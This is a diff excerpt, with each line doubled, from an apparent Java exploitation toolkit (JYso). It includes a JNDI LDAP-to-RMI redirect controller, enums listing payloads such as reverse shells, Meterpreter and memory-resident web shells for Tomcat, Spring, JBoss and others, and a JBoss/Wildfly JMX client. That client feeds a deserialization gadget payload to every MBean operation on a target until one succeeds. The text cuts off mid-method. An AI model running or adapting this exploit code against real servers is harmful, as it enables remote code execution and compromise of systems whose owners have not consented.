import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/ldap2rmi"})
|
@LdapMapping(uri = {"/ldap2rmi"})
|
||||||
public class ldap2rmiController implements LdapController {
|
public class ldap2rmiController implements LdapController {
|
||||||
|
|
||||||
private final String ip = Config.ip;
|
private final String ip = Config.ip;
|
||||||
private final String rmiPort = String.valueOf(Config.rmiPort);
|
private final String rmiPort = String.valueOf(Config.rmiPort);
|
||||||
private String path;
|
private String path;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
System.out.println("- Change LDAP to RMI ");
|
System.out.println("- Change LDAP to RMI ");
|
||||||
|
|
||||||
|
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
e.addAttribute("javaClassName", "foo");
|
e.addAttribute("javaClassName", "foo");
|
||||||
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
||||||
|
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
||||||
|
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int index = base.indexOf('/');
|
int index = base.indexOf('/');
|
||||||
if (index != -1) {
|
if (index != -1) {
|
||||||
path = base.substring(index);
|
path = base.substring(index);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,39 +1,39 @@
|
|||||||
package com.qi4l.JYso.controllers.utils;
|
package com.qi4l.JYso.controllers.utils;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.IvParameterSpec;
|
import javax.crypto.spec.IvParameterSpec;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
public class JNDIUtils {
|
public class JNDIUtils {
|
||||||
private static final String ALGORITHM = "AES";
|
private static final String ALGORITHM = "AES";
|
||||||
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||||
private static final int KEY_SIZE = 16;
|
private static final int KEY_SIZE = 16;
|
||||||
|
|
||||||
public static String decrypt(String ciphertext, String key) throws Exception {
|
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||||
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||||
byte[] ivBytes = new byte[KEY_SIZE];
|
byte[] ivBytes = new byte[KEY_SIZE];
|
||||||
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||||
|
|
||||||
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||||
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||||
|
|
||||||
byte[] keyBytes = getKeyBytes(key);
|
byte[] keyBytes = getKeyBytes(key);
|
||||||
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||||
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||||
|
|
||||||
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||||
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||||
|
|
||||||
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||||
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] getKeyBytes(String key) {
|
private static byte[] getKeyBytes(String key) {
|
||||||
byte[] keyBytes = new byte[KEY_SIZE];
|
byte[] keyBytes = new byte[KEY_SIZE];
|
||||||
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||||
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||||
return keyBytes;
|
return keyBytes;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.qi4l.JYso.enumtypes;
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
public enum GadgetType {
|
public enum GadgetType {
|
||||||
base64Two,
|
base64Two,
|
||||||
msf,
|
msf,
|
||||||
base64,
|
base64,
|
||||||
shell,
|
shell,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,47 +1,47 @@
|
|||||||
package com.qi4l.JYso.enumtypes;
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
public enum PayloadType {
|
public enum PayloadType {
|
||||||
sethttp,
|
sethttp,
|
||||||
dnslog,
|
dnslog,
|
||||||
tomcatupgrade,
|
tomcatupgrade,
|
||||||
command,
|
command,
|
||||||
reverseshell,
|
reverseshell,
|
||||||
tomcatecho,
|
tomcatecho,
|
||||||
springecho,
|
springecho,
|
||||||
weblogicecho,
|
weblogicecho,
|
||||||
windowsecho,
|
windowsecho,
|
||||||
linuxecho2,
|
linuxecho2,
|
||||||
linuxecho1,
|
linuxecho1,
|
||||||
allecho,
|
allecho,
|
||||||
websphereecho,
|
websphereecho,
|
||||||
resinecho,
|
resinecho,
|
||||||
tomcatfilterjmx,
|
tomcatfilterjmx,
|
||||||
tomcatfilterth,
|
tomcatfilterth,
|
||||||
tomcatlistenerjmx,
|
tomcatlistenerjmx,
|
||||||
tomcatlistenerth,
|
tomcatlistenerth,
|
||||||
tomcatservletjmx,
|
tomcatservletjmx,
|
||||||
tomcatservletth,
|
tomcatservletth,
|
||||||
jbossfilter,
|
jbossfilter,
|
||||||
jbossservlet,
|
jbossservlet,
|
||||||
webspherememshell,
|
webspherememshell,
|
||||||
springinterceptor,
|
springinterceptor,
|
||||||
springcontroller,
|
springcontroller,
|
||||||
issuccess,
|
issuccess,
|
||||||
jettyfilter,
|
jettyfilter,
|
||||||
jettyservlet,
|
jettyservlet,
|
||||||
struts2actionms,
|
struts2actionms,
|
||||||
wsfilter,
|
wsfilter,
|
||||||
tomcatexecutor,
|
tomcatexecutor,
|
||||||
meterpreter,
|
meterpreter,
|
||||||
resinfilterth,
|
resinfilterth,
|
||||||
resinservletth,
|
resinservletth,
|
||||||
jbossecho,
|
jbossecho,
|
||||||
jettyecho,
|
jettyecho,
|
||||||
cmsmsbync,
|
cmsmsbync,
|
||||||
proxymsbync,
|
proxymsbync,
|
||||||
wsresin,
|
wsresin,
|
||||||
mstsjproxy,
|
mstsjproxy,
|
||||||
mstsjser,
|
mstsjser,
|
||||||
wsweblogic,
|
wsweblogic,
|
||||||
wswebsphereproxy,
|
wswebsphereproxy,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.qi4l.JYso.enumtypes;
|
package com.qi4l.JYso.enumtypes;
|
||||||
|
|
||||||
public enum WebsphereActionType {
|
public enum WebsphereActionType {
|
||||||
list,
|
list,
|
||||||
upload,
|
upload,
|
||||||
rce;
|
rce;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.qi4l.JYso.exceptions;
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
public class IncorrectParamsException extends RuntimeException {
|
public class IncorrectParamsException extends RuntimeException {
|
||||||
public IncorrectParamsException() {
|
public IncorrectParamsException() {
|
||||||
super();
|
super();
|
||||||
}
|
}
|
||||||
|
|
||||||
public IncorrectParamsException(String message) {
|
public IncorrectParamsException(String message) {
|
||||||
super(message);
|
super(message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.qi4l.JYso.exceptions;
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
public class UnSupportedActionTypeException extends RuntimeException {
|
public class UnSupportedActionTypeException extends RuntimeException {
|
||||||
public UnSupportedActionTypeException() {
|
public UnSupportedActionTypeException() {
|
||||||
super();
|
super();
|
||||||
}
|
}
|
||||||
|
|
||||||
public UnSupportedActionTypeException(String message) {
|
public UnSupportedActionTypeException(String message) {
|
||||||
super(message);
|
super(message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.qi4l.JYso.exceptions;
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
public class UnSupportedGadgetTypeException extends RuntimeException {
|
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||||
public UnSupportedGadgetTypeException() {
|
public UnSupportedGadgetTypeException() {
|
||||||
super();
|
super();
|
||||||
}
|
}
|
||||||
|
|
||||||
public UnSupportedGadgetTypeException(String message) {
|
public UnSupportedGadgetTypeException(String message) {
|
||||||
super(message);
|
super(message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.qi4l.JYso.exceptions;
|
package com.qi4l.JYso.exceptions;
|
||||||
|
|
||||||
public class UnSupportedPayloadTypeException extends RuntimeException {
|
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||||
public UnSupportedPayloadTypeException() {
|
public UnSupportedPayloadTypeException() {
|
||||||
super();
|
super();
|
||||||
}
|
}
|
||||||
|
|
||||||
public UnSupportedPayloadTypeException(String message) {
|
public UnSupportedPayloadTypeException(String message) {
|
||||||
super(message);
|
super(message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,376 +1,376 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.jboss.remoting3.*;
|
import org.jboss.remoting3.*;
|
||||||
import org.jboss.remoting3.Connection;
|
import org.jboss.remoting3.Connection;
|
||||||
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||||
import org.jboss.remoting3.spi.*;
|
import org.jboss.remoting3.spi.*;
|
||||||
import org.jboss.remotingjmx.VersionedConnection;
|
import org.jboss.remotingjmx.VersionedConnection;
|
||||||
import org.xnio.*;
|
import org.xnio.*;
|
||||||
import org.xnio.IoFuture.Status;
|
import org.xnio.IoFuture.Status;
|
||||||
import org.xnio.ssl.JsseXnioSsl;
|
import org.xnio.ssl.JsseXnioSsl;
|
||||||
import org.xnio.ssl.XnioSsl;
|
import org.xnio.ssl.XnioSsl;
|
||||||
|
|
||||||
import javax.management.*;
|
import javax.management.*;
|
||||||
import javax.management.remote.JMXServiceURL;
|
import javax.management.remote.JMXServiceURL;
|
||||||
import javax.security.auth.callback.*;
|
import javax.security.auth.callback.*;
|
||||||
import javax.security.sasl.RealmCallback;
|
import javax.security.sasl.RealmCallback;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.MalformedURLException;
|
import java.net.MalformedURLException;
|
||||||
import java.net.SocketAddress;
|
import java.net.SocketAddress;
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
import java.security.KeyManagementException;
|
import java.security.KeyManagementException;
|
||||||
import java.security.NoSuchAlgorithmException;
|
import java.security.NoSuchAlgorithmException;
|
||||||
import java.security.NoSuchProviderException;
|
import java.security.NoSuchProviderException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.concurrent.*;
|
import java.util.concurrent.*;
|
||||||
import java.util.logging.*;
|
import java.util.logging.*;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* An exploitation client for JBoss AS/Wildfly JMX
|
* An exploitation client for JBoss AS/Wildfly JMX
|
||||||
* <p>
|
* <p>
|
||||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||||
* <p>
|
* <p>
|
||||||
* This is not as readily exploitable as in other pieces of software:
|
* This is not as readily exploitable as in other pieces of software:
|
||||||
* 1. they only allow authenticated access by default
|
* 1. they only allow authenticated access by default
|
||||||
* 2. they have a very strict module architecture:
|
* 2. they have a very strict module architecture:
|
||||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||||
* <p>
|
* <p>
|
||||||
* This client enumerates all application exported MBean method which are then called
|
* This client enumerates all application exported MBean method which are then called
|
||||||
* delivering the specified payload.
|
* delivering the specified payload.
|
||||||
* <p>
|
* <p>
|
||||||
* I.e. you can successfully exploit that
|
* I.e. you can successfully exploit that
|
||||||
* - you have access to the interface
|
* - you have access to the interface
|
||||||
* (username/password can be specified via URL, note: despite not noticeable,
|
* (username/password can be specified via URL, note: despite not noticeable,
|
||||||
* local connections implicitly use authentication)
|
* local connections implicitly use authentication)
|
||||||
* - there is an application exported MBean
|
* - there is an application exported MBean
|
||||||
* - that application imports the classes required for the gadget chain
|
* - that application imports the classes required for the gadget chain
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({
|
@SuppressWarnings({
|
||||||
"rawtypes"
|
"rawtypes"
|
||||||
})
|
})
|
||||||
public class JBoss {
|
public class JBoss {
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
URI u = URI.create(args[0]);
|
URI u = URI.create(args[0]);
|
||||||
|
|
||||||
// 去除前一个参数
|
// 去除前一个参数
|
||||||
String[] newArray = new String[args.length - 1];
|
String[] newArray = new String[args.length - 1];
|
||||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
String username = null;
|
String username = null;
|
||||||
String password = null;
|
String password = null;
|
||||||
if (u.getUserInfo() != null) {
|
if (u.getUserInfo() != null) {
|
||||||
int sep = u.getUserInfo().indexOf(':');
|
int sep = u.getUserInfo().indexOf(':');
|
||||||
if (sep >= 0) {
|
if (sep >= 0) {
|
||||||
username = u.getUserInfo().substring(0, sep);
|
username = u.getUserInfo().substring(0, sep);
|
||||||
password = u.getUserInfo().substring(sep + 1);
|
password = u.getUserInfo().substring(sep + 1);
|
||||||
} else {
|
} else {
|
||||||
System.err.println("Need <user>:<password>@");
|
System.err.println("Need <user>:<password>@");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
doRun(u, payloadObject, username, password);
|
doRun(u, payloadObject, username, password);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||||
ConnectionProvider instance = null;
|
ConnectionProvider instance = null;
|
||||||
ConnectionProviderContextImpl context = null;
|
ConnectionProviderContextImpl context = null;
|
||||||
ConnectionHandler ch = null;
|
ConnectionHandler ch = null;
|
||||||
Channel c = null;
|
Channel c = null;
|
||||||
VersionedConnection vc = null;
|
VersionedConnection vc = null;
|
||||||
try {
|
try {
|
||||||
Logger logger = LogManager.getLogManager().getLogger("");
|
Logger logger = LogManager.getLogManager().getLogger("");
|
||||||
logger.addHandler(new ConsoleLogHandler());
|
logger.addHandler(new ConsoleLogHandler());
|
||||||
logger.setLevel(Level.INFO);
|
logger.setLevel(Level.INFO);
|
||||||
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||||
context = new ConnectionProviderContextImpl(options, "endpoint");
|
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||||
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||||
String host = u.getHost();
|
String host = u.getHost();
|
||||||
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||||
SocketAddress destination = new InetSocketAddress(host, port);
|
SocketAddress destination = new InetSocketAddress(host, port);
|
||||||
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||||
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||||
c = getChannel(context, ch, options);
|
c = getChannel(context, ch, options);
|
||||||
System.err.println("Connected");
|
System.err.println("Connected");
|
||||||
vc = makeVersionedConnection(c);
|
vc = makeVersionedConnection(c);
|
||||||
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||||
doExploit(payloadObject, mbc);
|
doExploit(payloadObject, mbc);
|
||||||
System.err.println("DONE");
|
System.err.println("DONE");
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
} finally {
|
} finally {
|
||||||
cleanup(instance, context, ch, c, vc);
|
cleanup(instance, context, ch, c, vc);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||||
VersionedConnection vc) {
|
VersionedConnection vc) {
|
||||||
if (vc != null) {
|
if (vc != null) {
|
||||||
vc.close();
|
vc.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (c != null) {
|
if (c != null) {
|
||||||
try {
|
try {
|
||||||
c.close();
|
c.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ch != null) {
|
if (ch != null) {
|
||||||
try {
|
try {
|
||||||
ch.close();
|
ch.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (instance != null) {
|
if (instance != null) {
|
||||||
try {
|
try {
|
||||||
instance.close();
|
instance.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (context != null) {
|
if (context != null) {
|
||||||
context.getXnioWorker().shutdown();
|
context.getXnioWorker().shutdown();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||||
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||||
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
|
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
|
||||||
instance.connect(null, destination, options, result, callbacks -> {
|
instance.connect(null, destination, options, result, callbacks -> {
|
||||||
|
|
||||||
for (Callback cb : callbacks) {
|
for (Callback cb : callbacks) {
|
||||||
|
|
||||||
if (cb instanceof NameCallback) {
|
if (cb instanceof NameCallback) {
|
||||||
((NameCallback) cb).setName(username);
|
((NameCallback) cb).setName(username);
|
||||||
} else if (cb instanceof PasswordCallback) {
|
} else if (cb instanceof PasswordCallback) {
|
||||||
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||||
} else if (!(cb instanceof RealmCallback)) {
|
} else if (!(cb instanceof RealmCallback)) {
|
||||||
System.err.println(cb);
|
System.err.println(cb);
|
||||||
throw new UnsupportedCallbackException(cb);
|
throw new UnsupportedCallbackException(cb);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, xnioSsl);
|
}, xnioSsl);
|
||||||
|
|
||||||
System.err.println("waiting for connection");
|
System.err.println("waiting for connection");
|
||||||
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||||
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||||
if (s == Status.FAILED) {
|
if (s == Status.FAILED) {
|
||||||
System.err.println("Cannot connect");
|
System.err.println("Cannot connect");
|
||||||
if (ioFuture.getException() != null) {
|
if (ioFuture.getException() != null) {
|
||||||
ioFuture.getException().printStackTrace(System.err);
|
ioFuture.getException().printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
} else if (s != Status.DONE) {
|
} else if (s != Status.DONE) {
|
||||||
ioFuture.cancel();
|
ioFuture.cancel();
|
||||||
System.err.println("Connect timeout");
|
System.err.println("Connect timeout");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
return ioFuture.getInterruptibly();
|
return ioFuture.getInterruptibly();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||||
Channel c;
|
Channel c;
|
||||||
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
|
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
|
||||||
ch.open("jmx", chResult, options);
|
ch.open("jmx", chResult, options);
|
||||||
|
|
||||||
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||||
Status s2 = cFuture.await();
|
Status s2 = cFuture.await();
|
||||||
if (s2 == Status.FAILED) {
|
if (s2 == Status.FAILED) {
|
||||||
System.err.println("Cannot connect");
|
System.err.println("Cannot connect");
|
||||||
if (cFuture.getException() != null) {
|
if (cFuture.getException() != null) {
|
||||||
throw new IOException("Connect failed", cFuture.getException());
|
throw new IOException("Connect failed", cFuture.getException());
|
||||||
}
|
}
|
||||||
} else if (s2 != Status.DONE) {
|
} else if (s2 != Status.DONE) {
|
||||||
cFuture.cancel();
|
cFuture.cancel();
|
||||||
throw new IOException("Connect timeout");
|
throw new IOException("Connect timeout");
|
||||||
}
|
}
|
||||||
|
|
||||||
c = cFuture.get();
|
c = cFuture.get();
|
||||||
return c;
|
return c;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static VersionedConnection makeVersionedConnection(Channel c)
|
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||||
VersionedConnection vc;
|
VersionedConnection vc;
|
||||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||||
Reflections.setAccessible(vcCreate);
|
Reflections.setAccessible(vcCreate);
|
||||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||||
return vc;
|
return vc;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||||
Object[] params = new Object[1];
|
Object[] params = new Object[1];
|
||||||
params[0] = payloadObject;
|
params[0] = payloadObject;
|
||||||
System.err.println("Querying MBeans");
|
System.err.println("Querying MBeans");
|
||||||
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||||
System.err.println("Found " + testMBeans.size() + " MBeans");
|
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||||
for (ObjectInstance oi : testMBeans) {
|
for (ObjectInstance oi : testMBeans) {
|
||||||
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||||
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||||
try {
|
try {
|
||||||
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||||
return;
|
return;
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
String msg = e.getMessage();
|
String msg = e.getMessage();
|
||||||
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||||
